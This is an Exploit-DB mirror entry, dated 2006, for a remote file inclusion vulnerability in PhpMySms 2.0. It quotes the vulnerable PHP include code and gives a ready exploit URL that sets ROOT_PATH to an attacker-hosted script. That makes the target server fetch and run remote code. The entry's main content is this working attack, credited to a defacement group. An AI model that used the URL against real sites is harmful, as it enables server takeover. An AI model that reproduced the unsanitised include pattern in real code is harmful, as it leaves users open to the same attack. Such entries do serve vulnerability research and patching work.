exploit-db-mirror/exploits/php/webapps/1948.txt
Offensive Security d304cc3d3e DB: 2017-11-24
116602 new exploits

Too many to list!
2017-11-24 20:56:23 +00:00

17 lines
No EOL
519 B
Text

PhpMySms <= V2.0 (ROOT_PATH) Remote File Include Vulnerability
URL : Http://www.phpmysms.com
Author=Persian-Defacer
www.Hacking-Boys.com
==============================================================
if (($_POST[mode] == "1") or ($_GET[mode] == "1")) {
include ("config.php");
} else {
include ("$ROOT_PATH/config.php");
}
==============================================================
Exploit : http://[site]/[sms location]/sms_config/gateway.php?ROOT_PATH=[evil_script]
# milw0rm.com [2006-06-24]